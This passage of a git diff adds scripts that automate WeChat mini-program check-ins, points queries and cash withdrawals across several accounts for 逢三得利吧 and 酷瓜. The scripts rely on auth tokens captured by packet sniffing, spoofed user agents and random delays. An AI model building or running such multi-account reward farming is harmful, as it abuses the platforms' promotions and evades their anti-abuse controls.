Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient[s](t, (t, s, a) => { !t && s && (s.body = a, s.statusCode = s.status ? s.status : s.statusCode, s.status = s.statusCode), e(t, s, a) }); break; case "Quantumult X": t.method = s, this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o }, i, o) }, t => e(t && t.error || "UndefinedError")); break; case "Node.js": let a = require("iconv-lite"); this.initGotEnv(t); const { url: r, ...i } = t; this.got[s](r, i).then(t => { const { statusCode: s, statusCode: r, headers: i, rawBody: o } = t, n = a.decode(o, this.encoding); e(null, { status: s, statusCode: r, headers: i, rawBody: o, body: n }, n) }, t => { const { message: s, response: r } = t; e(s, r, r && a.decode(r.rawBody, this.encoding)) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let a = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in a) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? a[e] : ("00" + a[e]).substr(("" + a[e]).length))); return t } queryStr(t) { let e = ""; for (const s in t) { let a = t[s]; null != a && "" !== a && ("object" == typeof a && (a = JSON.stringify(a)), e += `${s}=${a}&`) } return e = e.substring(0, e.length - 1), e } msg(e = t, s = "", a = "", r) { const i = t => { switch (typeof t) { case void 0: return t; case "string": switch (this.getEnv()) { case "Surge": case "Stash": default: return { url: t }; case "Loon": case "Shadowrocket": return t; case "Quantumult X": return { "open-url": t }; case "Node.js": return }case "object": switch (this.getEnv()) { case "Surge": case "Stash": case "Shadowrocket": default: { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } case "Loon": { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } case "Quantumult X": { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl, a = t["update-pasteboard"] || t.updatePasteboard; return { "open-url": e, "media-url": s, "update-pasteboard": a } } case "Node.js": return }default: return } }; if (!this.isMute) switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: $notification.post(e, s, a, i(r)); break; case "Quantumult X": $notify(e, s, a, i(r)); break; case "Node.js": }if (!this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), a && t.push(a), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: this.log("", `❗️${this.name}, 错误!`, t); break; case "Node.js": this.log("", `❗️${this.name}, 错误!`, t.stack) } } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; switch (this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: $done(t); break; case "Node.js": process.exit(1) } } }(t, e) } \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/逢三得利吧/2025-06-28_逢三得利吧_4e59c90a.js b/脚本库/微信小程序/抓包版/逢三得利吧/2025-06-28_逢三得利吧_4e59c90a.js new file mode 100644 index 0000000..6ab5ca3 --- /dev/null +++ b/脚本库/微信小程序/抓包版/逢三得利吧/2025-06-28_逢三得利吧_4e59c90a.js @@ -0,0 +1,281 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E9%80%A2%E4%B8%89%E5%BE%97%E5%88%A9%E5%90%A7.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E9%80%A2%E4%B8%89%E5%BE%97%E5%88%A9%E5%90%A7.js +// # Repo: jdqlscript/toulu +// # Path: 逢三得利吧.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: 4e59c90afaf62dfe2839fc737d1999bb010d1e5ffd0acabe5a3d2ab02958f408 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/** + * 逢三得利吧 + * Fsdlb + * Author: Mist + * Date: 2024-07-05 + * cron "58 59 1 * * *" fsdlb.js + * export fsdlb= Authorization 多账号换行或者#分隔 + + + + 有问题联系3288588344 + 频道:https://pd.qq.com/s/672fku8ge + + + 活动入口:https://i.postimg.cc/FzLB2snf/mmexport1720179706834.png + + + + */ +// ============================================================================================================ +const $ = new Env('逢三得利吧') +const axios = require('axios') +const env_name = 'fsdlb' //环境变量名字 +const env = process.env[env_name] || '' +const Notify = 1 +const debug = 0 +let scriptVersionNow = "1.0.0"; +let msg = ""; +// ==================================异步顺序============================================================================== +!(async () => { + await getNotice(); + await getVersion("yang7758258/ohhh154@main/fsdlb.js"); + await main(); + await SendMsg(msg); + +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()); +//==================================脚本入口函数main()============================================================== + +async function main() { + if (env == '') { + //没有设置变量,直接退出 + console.log(`没有填写变量,请查看脚本说明: ${env_name}`) + return + } + let user_ck = env.split('\n') + DoubleLog(`\n========= 共找到 ${user_ck.length} 个账号 =========`); + let index = 1 //用来给账号标记序号, 从1开始 + for (let ck of user_ck) { + if (!ck) continue //跳过空行 + let ck_info = ck.split('&') + let Authorization = ck_info[0] + //let ticket = ck_info[1] + //let deviceCode = ck_info[2] + let user = { + index: index, + Authorization, + //ticket, + //deviceCode, + } + index = index + 1 //每次用完序号+1 + //开始账号任务 + let Run = new run(user); + await Run.userTask(user) + //每个账号之间等1~5秒随机时间 + let rnd_time = Math.floor(Math.random() * 4000) + 1000 + console.log(`随机等待${rnd_time / 1000}秒...`) + await $.wait(rnd_time) + } +} +// ======================================开始任务========================================= +class run { + constructor(user) { + let timestamp = Date.now() + this.headers = { + "X-VERSION": "2.1.3", + "Authorization": `${user.Authorization}`, + "HH-VERSION": "0.2.8", + "HH-FROM": "20230130307725", + "HH-APP": "wxb33ed03c6c715482", + "HH-CI": "saas-wechat-app", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36", + } + } +async userTask(user) { + console.log(`\n========= 账号[${user.index}]开始任务 =========`) + await this.sign(user) + await this.account(user) + +} +// ============================================================================================================================= +// + async sign(user) { + try { + DoubleLog(`🕊账号[${user.index}] 开始签到...`); + + //console.log(formattedDate); + let urlObject = { + method: 'post', + url: `https://xiaodian.miyatech.com/api/coupon/auth/signIn`, + headers: this.headers, + data: { + "miniappId": 159 + } + } + //console.log(urlObject); + let { data: result} = await axios.request(urlObject) + //console.log(result); + if (result?.code == 200) { + //打印签到结果 + DoubleLog(`🕊账号[${user.index}] 签到成功:[${result.data.integralToastText}]🎉`); + }else{ + DoubleLog(`🕊账号[${user.index}] 签到失败:${result.msg}🚫`) + } + } catch (e) { + console.log(e); + } + } + +// +async account(user) { + try { + DoubleLog(`🕊账号[${user.index}] 开始查询...`); + let urlObject = { + method: 'get', + url: `https://xiaodian.miyatech.com/api/user/auth/member/integral/union/flow/list?pageNo=1&pageSize=10&dataType=SCORE`, + headers: this.headers, + + } + //console.log(urlObject); + let { data: result} = await axios.request(urlObject) + //console.log(result); + if (result?.code == 200) { + //打印签到结果 + DoubleLog(`🕊账号[${user.index}] 查询成功:总积分[${result.data.totalScore}]🎉`); + + }else { + DoubleLog(`🕊账号[${user.index}] 查询失败:${result.msg}🚫`) + } + } catch (e) { + console.log(e); + } + } + +} +/** + * =========================================================发送消息============================================= + */ +async function SendMsg(message) { + if (!message) return; + if (Notify > 0) { + if ($.isNode()) { + var notify = require("./sendNotify"); + await notify.sendNotify($.name, message); + } else { + // $.msg(message); + $.msg($.name, '', message) + } + } else { + console.log(message); + } +} +/** + * =====================================================双平台log输出========================================== + */ +function DoubleLog(data) { + if ($.isNode()) { + if (data) { + console.log(`${data}`); + msg += `\n${data}`; + } + } else { + console.log(`${data}`); + msg += `\n${data}`; + } + +} +/** +* ======================================================等待 X 秒============================================ +*/ +function wait(n) { + return new Promise(function (resolve) { + setTimeout(resolve, n * 1000); + }); +} +/** +* ======================================================随机等待 1-5 秒============================================ +*/ +function sjwait() { + return new Promise(function (resolve) { + let waitTime = Math.floor(Math.random() * 4000 + 1000); + setTimeout(resolve, waitTime); + }); +} +// ==========================================================13位时间戳===================================================== +function getTimestamp() { + return new Date().getTime(); +} +//===============================================网络请求httpRequest========================================= +function httpRequest(options, timeout = 1 * 1000) { + method = options.method ? options.method.toLowerCase() : options.body ? "post" : "get"; + return new Promise(resolve => { + setTimeout(() => { + $[method](options, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + try { data = JSON.parse(data); } catch (error) { } + } + } catch (e) { + console.log(e); + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }, timeout) + }) +} +//==============================================Debug模式=============================================== +function debugLog(...args) { + if (debug) { + console.log(...args); + } +} +//===============================================获取远程通知======================================== +async function getNotice() { + try { + const urls = [ + "https://github.com/3288588344/toulu/blob/main/tl.json", + + ]; + let notice = null; + for (const url of urls) { + const options = { url, headers: { "User-Agent": "" }, }; + const result = await httpRequest(options); + if (result && "notice" in result) { + notice = result.notice.replace(/\\n/g, "\n"); + break; + } + } + if (notice) { $.DoubleLog(notice); } + } catch (e) { + console.log(e); + } +} +//==============================================获取远程版本================================================= +function getVersion(scriptUrl, timeout = 3 * 1000) { + return new Promise((resolve) => { + const options = { url: `https://fastly.jsdelivr.net/gh/${scriptUrl}` }; + $.get(options, (err, resp, data) => { + try { + const regex = /scriptVersionNow\s*=\s*(["'`])([\d.]+)\1/; + const match = data.match(regex); + const scriptVersionLatest = match ? match[2] : ""; + DoubleLog(`\n当前版本:[${scriptVersionNow}]>>>云端☁️版本:[${scriptVersionLatest}]`); + } catch (e) { + $.logErr(e, resp); + } + resolve(); + }, timeout); + }); +} + +//=============================================================================================================================================== +//================================================固定API=============================================================================================== +function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return ("POST" === e && (s = this.post), new Promise((e, a) => { s.call(this, t, (t, s, r) => { t ? a(t) : e(s) }) })) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new (class { constructor(t, e) { this.userList = []; this.userIdx = 0; (this.name = t), (this.http = new s(this)), (this.data = null), (this.dataFile = "box.dat"), (this.logs = []), (this.isMute = !1), (this.isNeedRewrite = !1), (this.logSeparator = "\n"), (this.encoding = "utf-8"), (this.startTime = new Date().getTime()), Object.assign(this, e), this.log("", `🔔${this.name},开始!`) } getEnv() { return "undefined" != typeof $environment && $environment["surge-version"] ? "Surge" : "undefined" != typeof $environment && $environment["stash-version"] ? "Stash" : "undefined" != typeof module && module.exports ? "Node.js" : "undefined" != typeof $task ? "Quantumult X" : "undefined" != typeof $loon ? "Loon" : "undefined" != typeof $rocket ? "Shadowrocket" : void 0 } isNode() { return "Node.js" === this.getEnv() } isQuanX() { return "Quantumult X" === this.getEnv() } isSurge() { return "Surge" === this.getEnv() } isLoon() { return "Loon" === this.getEnv() } isShadowrocket() { return "Shadowrocket" === this.getEnv() } isStash() { return "Stash" === this.getEnv() } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const a = this.getdata(t); if (a) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise((e) => { this.get({ url: t }, (t, s, a) => e(a)) }) } runScript(t, e) { return new Promise((s) => { let a = this.getdata("@chavy_boxjs_userCfgs.httpapi"); a = a ? a.replace(/\n/g, "").trim() : a; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); (r = r ? 1 * r : 20), (r = e && e.timeout ? e.timeout : r); const [i, o] = a.split("@"), n = { url: `http://${o}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": i, Accept: "*/*" }, timeout: r, }; this.post(n, (t, e, a) => s(a)) }).catch((t) => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e); if (!s && !a) return {}; { const a = s ? t : e; try { return JSON.parse(this.fs.readFileSync(a)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : a ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const a = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of a) if (((r = Object(r)[t]), void 0 === r)) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), (e.slice(0, -1).reduce((t, s, a) => Object(t[s]) === t[s] ? t[s] : (t[s] = Math.abs(e[a + 1]) >> 0 == +e[a + 1] ? [] : {}), t)[e[e.length - 1]] = s), t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, a] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, a, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, a, r] = /^@(.*?)\.(.*?)$/.exec(e), i = this.getval(a), o = a ? ("null" === i ? null : i || "{}") : "{}"; try { const e = JSON.parse(o); this.lodash_set(e, r, t), (s = this.setval(JSON.stringify(e), a)) } catch (e) { const i = {}; this.lodash_set(i, r, t), (s = this.setval(JSON.stringify(i), a)) } } else s = this.setval(t, e); return s } getval(t) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.read(t); case "Quantumult X": return $prefs.valueForKey(t); case "Node.js": return (this.data = this.loaddata()), this.data[t]; default: return (this.data && this.data[t]) || null } } setval(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.write(t, e); case "Quantumult X": return $prefs.setValueForKey(t, e); case "Node.js": return ((this.data = this.loaddata()), (this.data[e] = t), this.writedata(), !0); default: return (this.data && this.data[e]) || null } } initGotEnv(t) { (this.got = this.got ? this.got : require("got")), (this.cktough = this.cktough ? this.cktough : require("tough-cookie")), (this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar()), t && ((t.headers = t.headers ? t.headers : {}), void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = () => { }) { switch ((t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"], delete t.headers["content-type"], delete t.headers["content-length"]), this.getEnv())) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && ((t.headers = t.headers || {}), Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, a) => { !t && s && ((s.body = a), (s.statusCode = s.status ? s.status : s.statusCode), (s.status = s.statusCode)), e(t, s, a) }); break; case "Quantumult X": this.isNeedRewrite && ((t.opts = t.opts || {}), Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then((t) => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o, } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o, }, i, o) }, (t) => e((t && t.error) || "UndefinedError")); break; case "Node.js": let s = require("iconv-lite"); this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), (e.cookieJar = this.ckjar) } } catch (t) { this.logErr(t) } }).then((t) => { const { statusCode: a, statusCode: r, headers: i, rawBody: o, } = t, n = s.decode(o, this.encoding); e(null, { status: a, statusCode: r, headers: i, rawBody: o, body: n, }, n) }, (t) => { const { message: a, response: r } = t; e(a, r, r && s.decode(r.rawBody, this.encoding)) }) } } post(t, e = () => { }) { const s = t.method ? t.method.toLocaleLowerCase() : "post"; switch ((t.body && t.headers && !t.headers["Content-Type"] && !t.headers["content-type"] && (t.headers["content-type"] = "application/x-www-form-urlencoded"), t.headers && (delete t.headers["Content-Length"], delete t.headers["content-length"]), this.getEnv())) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && ((t.headers = t.headers || {}), Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient[s](t, (t, s, a) => { !t && s && ((s.body = a), (s.statusCode = s.status ? s.status : s.statusCode), (s.status = s.statusCode)), e(t, s, a) }); break; case "Quantumult X": (t.method = s), this.isNeedRewrite && ((t.opts = t.opts || {}), Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then((t) => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o, } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o, }, i, o) }, (t) => e((t && t.error) || "UndefinedError")); break; case "Node.js": let a = require("iconv-lite"); this.initGotEnv(t); const { url: r, ...i } = t; this.got[s](r, i).then((t) => { const { statusCode: s, statusCode: r, headers: i, rawBody: o, } = t, n = a.decode(o, this.encoding); e(null, { status: s, statusCode: r, headers: i, rawBody: o, body: n }, n) }, (t) => { const { message: s, response: r } = t; e(s, r, r && a.decode(r.rawBody, this.encoding)) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date(); let a = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in a) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? a[e] : ("00" + a[e]).substr(("" + a[e]).length))); return t } queryStr(t) { let e = ""; for (const s in t) { let a = t[s]; null != a && "" !== a && ("object" == typeof a && (a = JSON.stringify(a)), (e += `${s}=${a}&`)) } return (e = e.substring(0, e.length - 1)), e } msg(e = t, s = "", a = "", r) { const i = (t) => { switch (typeof t) { case void 0: return t; case "string": switch (this.getEnv()) { case "Surge": case "Stash": default: return { url: t }; case "Loon": case "Shadowrocket": return t; case "Quantumult X": return { "open-url": t }; case "Node.js": return }case "object": switch (this.getEnv()) { case "Surge": case "Stash": case "Shadowrocket": default: { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } case "Loon": { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } case "Quantumult X": { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl, a = t["update-pasteboard"] || t.updatePasteboard; return { "open-url": e, "media-url": s, "update-pasteboard": a, } } case "Node.js": return }default: return } }; if (!this.isMute) switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: $notification.post(e, s, a, i(r)); break; case "Quantumult X": $notify(e, s, a, i(r)); break; case "Node.js": }if (!this.isMuteLog) { let t = ["", "==============📣系统通知📣==============",]; t.push(e), s && t.push(s), a && t.push(a), console.log(t.join("\n")), (this.logs = this.logs.concat(t)) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: this.log("", `❗️${this.name},错误!`, t); break; case "Node.js": this.log("", `❗️${this.name},错误!`, t.stack) } } wait(t) { return new Promise((e) => setTimeout(e, t)) } DoubleLog(d) { if (this.isNode()) { if (d) { console.log(`${d}`); msg += `\n ${d}` } } else { console.log(`${d}`); msg += `\n ${d}` } } async SendMsg(m) { if (!m) return; if (Notify > 0) { if (this.isNode()) { var notify = require("../sendNotify"); await notify.sendNotify(this.name, m) } else { this.msg(this.name, "", m) } } else { console.log(m) } } done(t = {}) { const e = new Date().getTime(), s = (e - this.startTime) / 1e3; switch ((this.log("", `🔔${this.name},结束!🕛${s}秒`), this.log(), this.getEnv())) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: $done(t); break; case "Node.js": process.exit(1) } } })(t, e) } +//Env rewrite:smallfawn Update-time:23-6-30 newAdd:DoubleLog & SendMsg \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/逢三得利吧小程序/2026-05-14_fsdlb_c9dc848c.js b/脚本库/微信小程序/抓包版/逢三得利吧小程序/2026-05-14_fsdlb_c9dc848c.js new file mode 100644 index 0000000..31ead5f --- /dev/null +++ b/脚本库/微信小程序/抓包版/逢三得利吧小程序/2026-05-14_fsdlb_c9dc848c.js @@ -0,0 +1,144 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/daily/fsdlb.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/fsdlb.js +// # Repo: smallfawn/QLScriptPublic +// # Path: daily/fsdlb.js +// # UploadedAt: 2026-05-14T17:47:57+08:00 +// # SHA256: c9dc848cba4a86dddf42506acc314a0f9fdcf1babc95f32fb05e0eaeaf7e8d68 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: fsdlb 微信小程序逢三得利吧 签到积分 +cron: 30 9 * * * +------------------------------------------ +#Notice: +https://xiaodian.miyatech.com 小程序逢三得利吧签到积分,使用前请先获取token,方法如下: +打开微信,进入逢三得利吧小程序,点击右下角“我的”, +打开抓包软件抓取https://xiaodian.miyatech.com 请求头的Authorization +抓取到的Authorization值即为token,去掉前面的"bearer ",将剩余部分作为token使用。 + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { Env } = require("../tools/env") +const $ = new Env("逢三得利吧小程序"); +let ckName = `fsdlb`; +const strSplitor = "#"; +const axios = require("axios"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" + + +class Task { + constructor(env) { + this.index = $.userIdx++ + this.user = env.split(strSplitor); + this.token = "bearer " + this.user[0]; + + } + + async run() { + await this.info() + await this.signIn() + } + + async signIn() { + let options = { + method: 'POST', + url: `https://xiaodian.miyatech.com/api/coupon/auth/signIn`, + headers: { + "X-VERSION": "2.1.3", + "Authorization": `${this.token}`, + "HH-VERSION": "0.2.8", + "HH-FROM": "20230130307725", + "HH-APP": "wxb33ed03c6c715482", + "HH-CI": "saas-wechat-app", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36", + }, + data: { + "miniappId": 159 + } + } + let { data: result } = await axios.request(options) + if (result?.code == 200) { + //打印签到结果 + $.log(`🕊账号[${this.index}] 签到成功:[${result.data.integralToastText}]🎉`); + } else { + $.log(`🕊账号[${this.index}] 签到失败:${result.msg}🚫`) + } + + + + + } + async info() { + let options = { + method: 'GET', + url: `https://xiaodian.miyatech.com/api/user/auth/member/integral/union/flow/list?pageNo=1&pageSize=10&dataType=SCORE`, + headers: { + "X-VERSION": "2.1.3", + "Authorization": `${this.token}`, + "HH-VERSION": "0.2.8", + "HH-FROM": "20230130307725", + "HH-APP": "wxb33ed03c6c715482", + "HH-CI": "saas-wechat-app", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36", + }, + + } + let { data: result } = await axios.request(options) + if (result?.code == 200) { + $.log(`🕊账号[${this.index}] 查询成功:总积分[${result.data.totalScore}]🎉`); + + } else { + $.log(`🕊账号[${this.index}] 查询失败:${result.msg}🚫`) + } + } + + + + + + + +} + +!(async () => { + await getNotice() + $.checkEnv(ckName); + + for (let user of $.userList) { + await new Task(user).run(); + } +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout:3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) {} + +} \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/酷瓜/2025-06-28_酷瓜_f2c605f7.py b/脚本库/微信小程序/抓包版/酷瓜/2025-06-28_酷瓜_f2c605f7.py new file mode 100644 index 0000000..fe8353a --- /dev/null +++ b/脚本库/微信小程序/抓包版/酷瓜/2025-06-28_酷瓜_f2c605f7.py @@ -0,0 +1,115 @@ +# Source: https://gitee.com/jdqlscript/toulu/blob/main/%E9%85%B7%E7%93%9C.py +# Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E9%85%B7%E7%93%9C.py +# Repo: jdqlscript/toulu +# Path: 酷瓜.py +# UploadedAt: 2025-06-28T11:18:42+08:00 +# SHA256: f2c605f703d051b8fd8f1cdb429524d6e15f8dc3de3a5cc336a70ed031b4ebf0 +# Category: 微信小程序/抓包版 +# Evidence: appid/openid/session_key/encryptedData等小程序字段 + +""" +酷瓜 +每天0.1毛抓refreshToken,openid,appid就可以了(首次登陆才有这个包没抓到重新进入去抓) +分隔符#多账户换行 + + + +有问题联系3288588344 +频道:https://pd.qq.com/s/672fku8ge + + +""" +import os +import requests +import time +import random +response = requests.get("https://raw.githubusercontent.com/3288588344/toulu/main/tl.txt") +response.encoding = 'utf-8' +txt = response.text +print(txt) + +def refresh_token(refreshToken): + url = "https://www.kugua.com/wxapp/refreshToken" + headers = { + "User-Agent": "Mozilla/5.0 (Linux; Android 12; RMX3562 Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.120 Mobile Safari/537.36 XWEB/1220099 MMWEBSDK/20240404 MMWEBID/2307 MicroMessenger/8.0.49.2600(0x28003133) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android", + "Content-Type": "application/json" + } + data = { + "refresh_token": refreshToken + } + response = requests.post(url, headers=headers, json=data) + json_response = response.json() + if json_response.get('status') == "0000": + token = json_response["data"]["token"] + codemsg = json_response["codemsg"] + print(f"token刷新结果{codemsg},开始执行提现任务") + return token + else: + print("刷新失败检查refresh_token是否过期") + return None + +def sign(token, appid, openid): + url = "https://www.kugua.com/wxapp/inflatedv3/popUpRedEnvelopes" + headers = { + "User-Agent": "Mozilla/5.0 (Linux; Android 12; RMX3562 Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.120 Mobile Safari/537.36 XWEB/1220099 MMWEBSDK/20240404 MMWEBID/2307 MicroMessenger/8.0.49.2600(0x28003133) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android", + "Content-Type": "application/json" + } + data = { + "token": token, + "type": 1, + "invite_id": "", + "code_ticket": "", + "count": "", + "appid": appid, + "openid": openid + } + response = requests.post(url, headers=headers, json=data) + json_response = response.json() + if json_response.get('status') == "0000": + codemsg = json_response["codemsg"] + print(f"签到结果{codemsg}") + else: + codemsg = json_response["codemsg"] + print(f"签到失败{codemsg}") + +def tx(token, openid, appid): + url = "https://www.kugua.com/wxapp/withdrawal/withdrawal" + headers = { + "User-Agent": "Mozilla/5.0 (Linux; Android 12; RMX3562 Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.120 Mobile Safari/537.36 XWEB/1220099 MMWEBSDK/20240404 MMWEBID/2307 MicroMessenger/8.0.49.2600(0x28003133) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 